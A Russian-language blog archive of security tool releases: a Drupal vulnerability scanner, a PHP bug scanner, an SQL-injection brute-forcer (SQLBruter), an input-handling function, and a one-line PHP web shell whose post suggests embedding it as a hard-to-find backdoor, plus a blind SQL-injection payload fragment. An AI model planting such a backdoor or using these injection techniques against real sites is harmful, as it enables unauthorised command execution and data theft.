Archive for the 'Релизы' Category

Сканнер уязвимостей CMS Drupal

drupalscan

Не секрет, что идеальных сканнеров уязвимостей не существует, особенно если такой сканнер стремится быть универсальным. Как правило, чем выше поле действия сканнера, тем ниже скорость работы, а также процент его эффективности. Эту идею подтверждает проект OWASP Joomla Vulnerability Scanner, который нацелен на самую популярную CMS. Испытав сканнер, я остался очень доволен результатами и решил написать нечто подобное для другого не менее известного продукта – CMS Drupal.

Drupal заслуженно является одной из самых безопасных CMS. Поддержка безопасности CMS в отличие от, к примеру, Wordpress находится на более высоком уровне благодаря активному тестированию CMS специальной группой Drupal Security Team и своевременному выпуску патчей и апдейтов, что подтверждается доверием пользователей. Тем не менее, как и у любого популярного веб-приложения, у Drupal есть свои уязвимости, что и послужило основнанием для создания простого сканнера.

Read more »

Мега релиз: самый короткий шелл =)

Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам:

<?=@`$c`?>

Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в php.ini. Для подавления ошибок (так как переменная не инициализирована) используется известный прием: перед выражением ставим @. Собственно выполнение команд реализовано с помощью обратных кавычек (backticks) – довольно хитрый прием, о котором знает далеко не каждый. Например, внедрив строку echo @`$c` в другой скрипт, мы имеем незаметный бэкдор, который очень трудно найти.
Плюсы моего шелла: размер!
Минусы: нужны short_open_tag и register_globals

Функция для обработки входящих данных

Собственно вот и обещанная мной функция для обработки данных, поступающих от пользователя. Для получения одной переменной вызываем так (какие аргументы передавать думаю и так ясно):

<?php
$var = import_var('var','G','INT',3);
?>

Для получения одновременно нескольких однотипных переменных вызов функции немного отличается:

<?php
extract(import_var(array('var1','var2','var3'),'G','INT',3));
echo $var1;
echo $var2;
echo $var3;
?>

Read more »

PHP Bug Scanner

Опубликовано в журнале «Хакер»
#108, X-Tools

PHP Bug Scanner – это программа, предназначенная для того, чтобы сделать процесс поиска уязвимостей в PHP-приложениях более удобным и быстрым. Она основана на сканировании различных функций и переменных в PHP-скриптах, которые могут привести к возможным уязвимостям.

Возможности:

  • возможность сканирования как множества файлов, так и одного скрипта
  • система пресетов: вы можете добавлять новые функции, изменять или удалять их
  • возможность загрузки и сохранения своих пресетов
  • 7 специальных пресетов, сгруппированных по категориям:
    1. code execution
    2. command execution
    3. directory traversal
    4. globals overwrite
    5. include
    6. sql injection
    7. miscellaneous
  • сохранение и загрузка результатов
  • сортировка результата по имени скрипта, номеру строки или функции, которая была найдена
  • быстрый обзор скрипта с подсветкой кода и пронумерованными строками
  • вычисление хэшей Zend_hash_del_key_or_index
  • String 2 chr() converter – представление строки в виде ASCII-символов в соответствии с синтаксисом PHP

Написан на PHP & WinBinder, скомпилировано bamcompile
Версия 1.0

Скачать

SQLBruter v0.2

Опубликовано в журнале «Хакер»
#104, X-Tools

Назначение

SQLBruter – многофункциональный скрипт, реализующий перебор различными методами при атаках типа SQL Injection. При запросах с использованием UNION очень часто требуется определить количество выбираемых полей, названия таблиц и стобцов. Все это можно сделать с помощью моего скрипта. Кроме этого, SQLBruter осуществляет посимвольный перебор, т.е. с использованием конструкций типа «AND ascii(lower(substring([query],1,1))) > 97″ и т.д. Важно сказать, что вам не придется указывать позицию символа – нужно лишь указать запрос и строку, возвращенную сервером, и в итоге вы получите полное содержание поля (например с хешем). Также в скрипте предусмотрено выведение результатов в файл и использование прокси.
Read more »